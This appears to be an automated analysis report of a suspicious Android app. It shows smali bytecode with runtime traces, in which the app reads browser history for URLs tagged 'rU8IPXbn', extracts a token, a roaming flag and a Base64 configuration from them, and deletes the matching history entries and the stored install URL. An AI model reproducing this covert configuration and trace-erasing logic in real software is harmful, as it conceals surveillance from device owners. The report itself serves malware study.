      163move-result-object v5
      165invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      166move-result-object v4
      168invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      169move-result-object v4
      171invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      173invoke-static {p1, v0}, Lcom/network/h/b;->d(Landroid/content/Context;Ljava/lang/String;)V
      174cond_ed: if-eqz p3, :cond_15c
      176const-string v4, "rU8IPXbn"
      178invoke-virtual {v0, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      179move-result v4
      180if-nez v4, :cond_15c
      181new-instance v4, Ljava/lang/StringBuilder;
      183const-string v5, "SystemUtil clearHistory if (removeHistoryByTime) < "
      185invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      186new-instance v5, Ljava/util/Date;
      188invoke-virtual {v3}, Ljava/lang/Long;->longValue()J
      189move-result-wide v6
      191invoke-direct {v5, v6, v7}, Ljava/util/Date;-><init>(J)V
      193invoke-virtual {v5}, Ljava/util/Date;->toGMTString()Ljava/lang/String;
      194move-result-object v5
      196invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      197move-result-object v4
      199invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      200move-result-object v4
      202invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      204invoke-virtual {v3}, Ljava/lang/Long;->longValue()J
      205move-result-wide v4
      206cmp-long v4, v4, v9
      207if-lez v4, :cond_15c
      208new-instance v4, Ljava/lang/StringBuilder;
      210const-string v5, "SystemUtil clearHistory REMOVES by date: "
      212invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      213new-instance v5, Ljava/util/Date;
      215invoke-virtual {v3}, Ljava/lang/Long;->longValue()J
      216move-result-wide v6
      218invoke-direct {v5, v6, v7}, Ljava/util/Date;-><init>(J)V
      220invoke-virtual {v5}, Ljava/util/Date;->toGMTString()Ljava/lang/String;
      221move-result-object v5
      223invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      224move-result-object v4
      226const-string v5, ", loaded before (seconds):"
      228invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      229move-result-object v4
      231invoke-virtual {v3}, Ljava/lang/Long;->longValue()J
      232move-result-wide v5
      233sub-long/2addr v5, v9
      234const-wide/16 v7, 0x3e8
      235div-long/2addr v5, v7
      237invoke-virtual {v4, v5, v6}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      238move-result-object v3
      240const-string v4, ", url:"
      242invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      243move-result-object v3
      245invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      246move-result-object v3
      248invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      249move-result-object v3
      251invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      253invoke-static {p1, v0}, Lcom/network/h/b;->d(Landroid/content/Context;Ljava/lang/String;)V
      254try_start_15c:
      255invoke-interface {v1}, Landroid/database/Cursor;->moveToPrevious()Z
      256move-result v0
      257if-nez v0, :cond_8f
      258cond_162: const v0, 0x927c0
      259if-ne p2, v0, :cond_17f
      261const-string v0, "SystemUtil sleepTimeBeforeRemovingHistory == TIME_BEFORE_CLEARING_BROWSER_HISTORY finish the url removal"
      263invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      265const-string v0, "NetworkPreferences"
      266const/4 v2, 0x0
      268invoke-virtual {p1, v0, v2}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      269move-result-object v0
      271invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
      272move-result-object v0
      274const-string v2, "url address"
      276invoke-interface {v0, v2}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      278invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
      279try_end_17f: if-eqz v1, :cond_184
      280try_start_181:
      281invoke-interface {v1}, Landroid/database/Cursor;->close()V
      282goto_184: return-void
      283try_start_185: new-instance v4, Ljava/lang/StringBuilder;
      285const-string v5, "SystemUtil clearHistory green instalation url:"
      287invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      289invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      290move-result-object v4
      292const-string v5, ", date:"
      294invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      295move-result-object v4
      296new-instance v5, Ljava/util/Date;
      298invoke-virtual {v3}, Ljava/lang/Long;->longValue()J
      299move-result-wide v6
      301invoke-direct {v5, v6, v7}, Ljava/util/Date;-><init>(J)V
      303invoke-virtual {v5}, Ljava/util/Date;->toGMTString()Ljava/lang/String;
      304move-result-object v5
      306invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      307move-result-object v4
      309invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      310move-result-object v4
      312invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      313try_end_1ae: goto/16 :goto_ed
      314catch_1b0: move-exception v0
      315try_start_1b1: new-instance v3, Ljava/lang/StringBuilder;
      317const-string v4, "removeHistoryByIp getSettingsFromHistory- "
      319invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      321invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      322move-result-object v4
      324invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      325move-result-object v3
      327invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      328move-result-object v3
      330invoke-static {v3, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      331try_end_1c7: goto/16 :goto_15c
      332catch_1c8: move-exception v0
      333goto_1c9: new-instance v2, Ljava/lang/StringBuilder;
      335const-string v3, "removeHistoryByIp- "
      337invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      339invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      340move-result-object v3
      342invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      343move-result-object v2
      345invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      346move-result-object v2
      348invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      349try_end_1df: if-eqz v1, :cond_184
      350try_start_1e1:
      351invoke-interface {v1}, Landroid/database/Cursor;->close()V
      352try_end_1e4: goto/16 :goto_184
      353catch_1e5: move-exception v0
      354new-instance v1, Ljava/lang/StringBuilder;
      356const-string v2, "removeHistoryByIp- "
      358invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      360invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      361move-result-object v2
      363invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      364move-result-object v1
      366invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      367move-result-object v1
      368goto_1f9:
      369invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      370goto/16 :goto_184
      371catchall_1fd: move-exception v0
      372move-object v1, v6
      373goto_1ff: if-eqz v1, :cond_204
      374try_start_201:
      375invoke-interface {v1}, Landroid/database/Cursor;->close()V
      376goto_204: throw v0
      377catch_205: move-exception v1
      378new-instance v2, Ljava/lang/StringBuilder;
      380const-string v3, "removeHistoryByIp- "
      382invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      384invoke-virtual {v1}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      385move-result-object v3
      387invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      388move-result-object v2
      390invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      391move-result-object v2
      393invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      394goto/16 :goto_204
      395catch_21d: move-exception v0
      396new-instance v1, Ljava/lang/StringBuilder;
      398const-string v2, "removeHistoryByIp- "
      400invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      402invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      403move-result-object v2
      405invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      406move-result-object v1
      408invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      409move-result-object v1
      410goto/16 :goto_1f9
      411catchall_232: move-exception v0
      412goto/16 :goto_1ff
      413catch_234: move-exception v0
      414move-object v1, v6
      415goto/16 :goto_1c9
      416cond_237: move v2, v8
      417goto/16 :goto_89
      Cross References
      APIs
      • android.content.Context.getContentResolver
      • android.provider.Browser.BOOKMARKS_URI:Landroid/net/Uri
      • android.content.ContentResolver.query
      • java.lang.StringBuilder.<init>
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.moveToLast
      • android.database.Cursor.getString
      • java.lang.String.contains
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.contains
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.substring
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.indexOf
      • java.lang.String.indexOf
      • java.lang.String.indexOf
      • java.lang.String.indexOf
      • java.lang.String.indexOf
      • java.lang.String.indexOf
      • java.lang.String.indexOf
      • java.lang.String.indexOf
      • java.lang.String.substring
      • java.lang.StringBuilder.<init>
      • com.network.android.SmsReceiver.b:Ljava/lang/String
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.substring
      • java.net.URLDecoder.decode
      • java.lang.String.substring
      • java.lang.String.substring
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.substring
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.startsWith
      • java.lang.String.substring
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.substring
      • java.lang.Integer.parseInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.moveToPrevious
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • getSettingsFromHistory started
      • URL For Remove
      • History Count:
      • History Count: 0
      • rU8IPXbn
      • url :
      • target url found:
      • ip address :
      • t=
      • &c
      • &a
      • &b
      • &d
      • &r
      • &i
      • &s
      • token:
      • UTF-8
      • mccSeetings:
      • AllowRoming:
      • 0
      • Not allow roming
      • packageVersion:
      • Settings URL decoded Base64:
      • Allow roming:
      • getSettingsFromHistory- get Setting
      • getSettingsFromHistory-
      • ret roming-
      Position Instruction Meta Information
      0const/4 v12, 0x1
      1const/4 v6, 0x0
      2try_start_2:
      3const-string v0, "getSettingsFromHistory started "
      5invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073366
        • p0: getSettingsFromHistory started
      7invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      8move-result-object v0
      10sget-object v1, Landroid/provider/Browser;->BOOKMARKS_URI:Landroid/net/Uri;
      11const/4 v2, 0x0
      12const/4 v3, 0x0
      13const/4 v4, 0x0
      14const/4 v5, 0x0
      16invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
      • Time: 1073627
        • This:
          • android.app.ContextImpl$ApplicationContentResolver@623ae6
        • p0: content://browser/bookmarks
        • p1: null
        • p2: null
        • p3: null
        • p4: null
        • Return:
          • android.content.ContentResolver$CursorWrapperInner@820d2e4
      • Time: 1073897
        • This:
          • android.app.ContextImpl$ApplicationContentResolver@623ae6
        • p0: content://browser/bookmarks
        • p1: null
        • p2: null
        • p3: null
        • p4: null
        • Return:
          • android.content.ContentResolver$CursorWrapperInner@a4eab5b
      • Time: 1074353
        • This:
          • android.app.ContextImpl$ApplicationContentResolver@623ae6
        • p0: content://browser/bookmarks
        • p1: null
        • p2: null
        • p3: null
        • p4: null
        • Return:
          • android.content.ContentResolver$CursorWrapperInner@e8ff5f6
      • Time: 1074664
        • This:
          • android.app.ContextImpl$ApplicationContentResolver@623ae6
        • p0: content://browser/bookmarks
        • p1: null
        • p2: null
        • p3: null
        • p4: null
        • Return:
          • android.content.ContentResolver$CursorWrapperInner@a275cc0
      • Time: 1074879
        • This:
          • android.app.ContextImpl$ApplicationContentResolver@623ae6
        • p0: content://browser/bookmarks
        • p1: null
        • p2: null
        • p3: null
        • p4: null
        • Return:
          • android.content.ContentResolver$CursorWrapperInner@785969e
      • Time: 1075723
        • This:
          • android.app.ContextImpl$ApplicationContentResolver@623ae6
        • p0: content://browser/bookmarks
        • p1: null
        • p2: null
        • p3: null
        • p4: null
        • Return:
          • android.content.ContentResolver$CursorWrapperInner@b3ffdac
      17move-result-object v1
      19const-string v0, "URL For Remove"
      20sput-object v0, Lcom/network/b/b;->z:Ljava/lang/String;
      21new-instance v0, Ljava/lang/StringBuilder;
      23const-string v2, "History Count: "
      25invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      27invoke-interface {v1}, Landroid/database/Cursor;->getCount()I
      28move-result v2
      30invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      31move-result-object v0
      33invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      34move-result-object v0
      36invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073630
        • p0: History Count: 0
      38invoke-interface {v1}, Landroid/database/Cursor;->moveToLast()Z
      39try_end_32: move-result v0
      40if-eqz v0, :cond_1d2
      41cond_35: const/4 v0, 0x1
      42try_start_36:
      43invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      44move-result-object v2
      45if-eqz v2, :cond_1cc
      47const-string v0, "rU8IPXbn"
      49invoke-virtual {v2, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      50move-result v0
      51if-eqz v0, :cond_1cc
      52new-instance v0, Ljava/lang/StringBuilder;
      54const-string v3, "url : "
      56invoke-direct {v0, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      58invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      59move-result-object v0
      61invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      62move-result-object v0
      64invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      66const-string v0, "rU8IPXbn"
      68invoke-virtual {v2, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      69move-result v0
      70if-eqz v0, :cond_174
      71new-instance v0, Ljava/lang/StringBuilder;
      73const-string v3, "target url found: "
      75invoke-direct {v0, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      77invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      78move-result-object v0
      80invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      81move-result-object v0
      83invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      84const/4 v0, 0x0
      85const/16 v3, 0x14
      87invoke-virtual {v2, v0, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      88move-result-object v0
      89new-instance v3, Ljava/lang/StringBuilder;
      91const-string v4, "ip address : "
      93invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      95invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      96move-result-object v0
      98invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      99move-result-object v0
      101invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      103const-string v0, "t="
      105invoke-virtual {v2, v0}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      106move-result v0
      108const-string v3, "&c"
      110invoke-virtual {v2, v3}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      111move-result v3
      113const-string v4, "&a"
      115invoke-virtual {v2, v4}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      116move-result v4
      118const-string v5, "&b"
      120invoke-virtual {v2, v5}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      121move-result v5
      123const-string v7, "&d"
      125invoke-virtual {v2, v7}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      126move-result v7
      128const-string v8, "&r"
      130invoke-virtual {v2, v8}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      131move-result v8
      133const-string v9, "&i"
      135invoke-virtual {v2, v9}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      136move-result v9
      138const-string v10, "&s"
      140invoke-virtual {v2, v10}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      141move-result v10
      142if-ge v0, v3, :cond_d7
      143add-int/lit8 v0, v0, 0x2
      145invoke-virtual {v2, v0, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      146move-result-object v0
      147sput-object v0, Lcom/network/android/SmsReceiver;->b:Ljava/lang/String;
      148new-instance v0, Ljava/lang/StringBuilder;
      150const-string v11, "token: "
      152invoke-direct {v0, v11}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      154sget-object v11, Lcom/network/android/SmsReceiver;->b:Ljava/lang/String;
      156invoke-virtual {v0, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      157move-result-object v0
      159invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      160move-result-object v0
      162invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      163cond_d7: if-ge v3, v4, :cond_175
      164add-int/lit8 v0, v3, 0x3
      165try_start_db:
      166invoke-virtual {v2, v0, v4}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      167move-result-object v0
      168goto_df:
      169const-string v3, "UTF-8"
      171invoke-static {v0, v3}, Ljava/net/URLDecoder;->decode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      172move-result-object v3
      173if-ge v5, v7, :cond_ef
      174add-int/lit8 v0, v5, 0x3
      176invoke-virtual {v2, v0, v7}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      177move-result-object v0
      178sput-object v0, Lcom/network/b/b;->e:Ljava/lang/String;
      179cond_ef: if-ge v7, v8, :cond_10d
      180add-int/lit8 v0, v7, 0x3
      182invoke-virtual {v2, v0, v8}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      183move-result-object v0
      184sput-object v0, Lcom/network/b/b;->o:Ljava/lang/String;
      185new-instance v0, Ljava/lang/StringBuilder;
      187const-string v4, "mccSeetings: "
      189invoke-direct {v0, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      191sget-object v4, Lcom/network/b/b;->o:Ljava/lang/String;
      193invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      194move-result-object v0
      196invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      197move-result-object v0
      199invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      200cond_10d: if-ge v8, v9, :cond_138
      201add-int/lit8 v0, v8, 0x3
      203invoke-virtual {v2, v0, v9}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      204move-result-object v4
      205new-instance v0, Ljava/lang/StringBuilder;
      207const-string v5, "AllowRoming: "
      209invoke-direct {v0, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      211invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      212move-result-object v0
      214invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      215move-result-object v0
      217invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      219const-string v0, "0"
      221invoke-virtual {v0, v4}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
      222move-result v0
      223if-eqz v0, :cond_17f
      224const/4 v0, 0x0
      226invoke-static {v0}, Lcom/network/b/b;->a(Z)V
      228const-string v0, "Not allow roming"
      230invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      231cond_138: if-ge v9, v10, :cond_156
      232add-int/lit8 v0, v9, 0x3
      234invoke-virtual {v2, v0, v10}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      235move-result-object v0
      236sput-object v0, Lcom/network/b/b;->l:Ljava/lang/String;
      237new-instance v0, Ljava/lang/StringBuilder;
      239const-string v2, "packageVersion: "
      241invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      243sget-object v2, Lcom/network/b/b;->l:Ljava/lang/String;
      245invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      246move-result-object v0
      248invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      249move-result-object v0
      251invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      252cond_156:
      253invoke-static {v3}, Lcom/network/i/a;->b(Ljava/lang/String;)[B
      254move-result-object v0
      255new-instance v2, Ljava/lang/StringBuilder;
      257const-string v4, "Settings URL decoded Base64: "
      259invoke-direct {v2, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      261invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      262move-result-object v2
      264invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      265move-result-object v2
      267invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      268const/4 v2, 0x0
      269const/4 v3, 0x0
      271invoke-static {v0, p0, v2, v3}, Lcom/network/android/a/b;->a([BLandroid/content/Context;ZLjava/lang/String;)Z
      273invoke-static {p0}, Lcom/network/android/a/b;->a(Landroid/content/Context;)V
      274cond_174: return v12
      275cond_175: if-ge v3, v5, :cond_20a
      276add-int/lit8 v0, v3, 0x3
      278invoke-virtual {v2, v0, v5}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      279move-result-object v0
      280goto/16 :goto_df
      281cond_17f: const/4 v0, 0x1
      283invoke-static {v0}, Lcom/network/b/b;->a(Z)V
      284try_end_183:
      285invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      286move-result v0
      288invoke-static {v0}, Lcom/network/b/b;->g(I)V
      289goto_18a: new-instance v0, Ljava/lang/StringBuilder;
      291const-string v5, "Allow roming: "
      293invoke-direct {v0, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      295invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      296move-result-object v0
      298invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      299move-result-object v0
      301invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      302try_end_19c: goto/16 :goto_138
      303catch_19d: move-exception v0
      304try_start_19e: new-instance v2, Ljava/lang/StringBuilder;
      306const-string v3, "getSettingsFromHistory- get Setting"
      308invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      310invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      311move-result-object v3
      313invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      314move-result-object v2
      316invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      317move-result-object v2
      319invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      320try_end_1b4: goto/16 :goto_174
      321catch_1b5: move-exception v0
      322try_start_1b6: new-instance v2, Ljava/lang/StringBuilder;
      324const-string v3, "getSettingsFromHistory- "
      326invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      328invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      329move-result-object v3
      331invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      332move-result-object v2
      334invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      335move-result-object v2
      337invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      338cond_1cc:
      339invoke-interface {v1}, Landroid/database/Cursor;->moveToPrevious()Z
      340move-result v0
      341if-nez v0, :cond_35
      342cond_1d2:
      343invoke-interface {v1}, Landroid/database/Cursor;->close()V
      344try_end_1d5: goto/16 :goto_174
      345catch_1d6: move-exception v0
      346const/4 v1, 0x4
      348invoke-static {v12, v1}, Lcom/network/android/c/a/b;->a(IS)V
      349new-instance v1, Ljava/lang/StringBuilder;
      351const-string v2, "getSettingsFromHistory- "
      353invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      355invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      356move-result-object v2
      358invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      359move-result-object v1
      361invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      362move-result-object v1
      364invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      365goto/16 :goto_174
      366catch_1f2: move-exception v0
      367try_start_1f3: new-instance v5, Ljava/lang/StringBuilder;
      369const-string v7, "ret roming- "
      371invoke-direct {v5, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      373invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      374move-result-object v7
      376invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      377move-result-object v5
      379invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      380move-result-object v5
      382invoke-static {v5, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      383try_end_209: goto/16 :goto_18a
      384cond_20a: move-object v0, v6
      385goto/16 :goto_df
      Cross References
      APIs
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.util.Date.<init>
      • java.util.Date.toLocaleString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.ComponentName.<init>
      • android.content.Context.getPackageManager
      • android.content.pm.PackageManager.setComponentEnabledSetting
      • com.network.android.agent.NetworkApp.a
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • android.content.Context.getContentResolver
